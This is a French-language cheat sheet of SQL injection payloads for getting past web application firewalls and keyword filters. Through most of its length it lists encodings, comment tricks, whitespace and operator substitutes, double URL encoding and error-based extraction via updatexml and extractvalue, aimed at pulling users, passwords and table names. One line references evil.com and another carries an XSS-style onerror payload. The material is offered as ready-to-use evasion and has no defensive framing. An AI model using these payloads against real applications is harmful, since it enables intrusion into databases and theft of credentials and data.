Opérateurs alternatifs :
or ——> ||
and ——> &&
xor ——> |
not ——> !
Échappement hexadécimal :
or ——> o\x72
Évasion par casse :
Or
aNd
Dédoublement de caractères :
oorr
anandd
Encodage urlencode, ascii(char), hex, unicode :
Exemples d'unicode pour l'apostrophe :
'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
Commentaires inline pour contourner tous les mots-clés :
/*!or*/
/*!and*/
Filtrage du crochet gauche
Encodage urlencode, ascii(char), hex, unicode :
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
Filtrage du crochet droit
Encodage urlencode, ascii(char), hex, unicode :
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
Contournement de UNION SELECT
Méthode logique :
Exemple de filtre : union select utilisateur,motdepasse from comptes
Contournement : 1 && (select utilisateur from comptes where id=1)='administrateur'
Caractères hexadécimaux :
select ——> selec\x74
union ——> unio\x6e
Évasion par casse :
SelEct
Dédoublement :
selselectect
uniunionon
Encodage urlencode, ascii(char), hex, unicode
Commentaires inline :
/*!union*/
/*!select*/
Filtarge des espaces
Remplacer par Tab : %09 %0a %0b %0c %0d %a0 /**/()
Contourner avec commentaires : // --%20/**/ # --+ -- - ;%00;
Caractères空白 SQLite3 : 0A,0D,0c,09,20
MYSQL : 09,0A,0B,0B,0D,A0,20
PostgreSQL : 0A,0D,0C,09,20
Oracle 11g : 00,0A,0D,0C,09,20
MSSQL : 01-20 (tous les codes hexadécimaux)
Symboles spéciaux :
` + !
Notation scientifique :
select utilisateur,motdepasse from comptes where id0e1union select 1,2
Encodage unicode :
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
Filtrage de l'opérateur égal
?id=1' or 1 like 1# permet de contourner = >
or '1' IN ('1234')# peut remplacer =
Filtrage des opérateurs de comparaison
select*fromcompteswhereid=1and ascii(substr(base(),0,1))>64
select*fromcompteswhereid=1and greatest(ascii(substr(base(),0,1)),64)=64
Contournement de WHERE
Méthode logique :
Filtre : 1 && (select utilisateur from comptes where id = 1) = 'administrateur'
Contournement : 1 && (select utilisateur from comptes limit 1) = 'administrateur'
Contournement de LIMIT
Méthode logique :
Filtre : 1 && (select utilisateur from comptes limit 1) = 'administrateur'
Contournement : 1 && (select utilisateur from comptes group by id having id = 1) = 'administrateur'
Contournement de GROUP BY
Méthode logique :
Filtre : 1 && (select utilisateur from comptes group by id having id = 1) = 'administrateur'
Contournement : 1 && (select substr(group_concat(id),1,1) utilisateur from comptes) = 1
Contournement de SELECT
Méthode logique :
Filtre : 1 && (select substr(group_concat(id),1,1) utilisateur from comptes) = 1
Contournement : 1 && substr(nom,1,1) = 'a'
Filtrage des apostrophes
Méthode logique :
waf = 'and|or|union|where|limit|group by|select|\''
Filtre : 1 && substr(nom,1,1) = 'a'
Contournement : 1 && id is not null
1 && substr(nom,1,1) = 0x611
1 && substr(nom,1,1) = unhex(61)
Contournement multi-octets :
%bf%27 %df%27 %aa%27
Filtrage des virgules
Pour substr() et mid() avec blind injection, utiliser from et for :
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
Pour limit, utiliser offset :
select*fromnews limit 0,1# équivalent à
select*fromnews limit 1 offset 0
Contournement de HEX
Méthode logique :
Filtre : 1 && substr(nom,1,1) = unhex(61)
Contournement : 1 && substr(nom,1,1) = lower(conv(11,10,16))
Contournement de SUBSTR
Méthode logique :
Filtre : 1 && substr(nom,1,1) = lower(conv(11,10,16))
Contournement : 1 && lpad(nom(),1,1) in 'r'
Contournement par encodage
Utiliser urlencode, ascii(char), hex, unicode
or 1=1 devient %6f%72%20%31%3d%31
Test peut être CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
Encodage hexadécimal :
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Double encodage :
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
Focntions équivalentes
hex(), bin() ==> ascii()
sleep() ==> benchmark()
concat_ws() ==> group_concat()
mid(), substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
Exemple avec substring() et substr() bloqués :
?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
Alternative :
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
Fonctions rarement utilisées
MySQL/PostgreSQL supportent les fonctions XML :
Select UpdateXML('<script x=_></script>','/script/@x/','src=//evil.com');
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror));
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
Contournement avec \N
\N équivaut au caractère NULL :
select * from utilisateurs where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from utilisateurs where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from utilisateurs where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
Contournement PCRE
Exploitation de la limite pcre.backtrack_limit de PHP :
union/*aaaaaaaxN*/select
Ces techniques ne fonctionnent pas ? Essayez de modifier la logique de votre requête.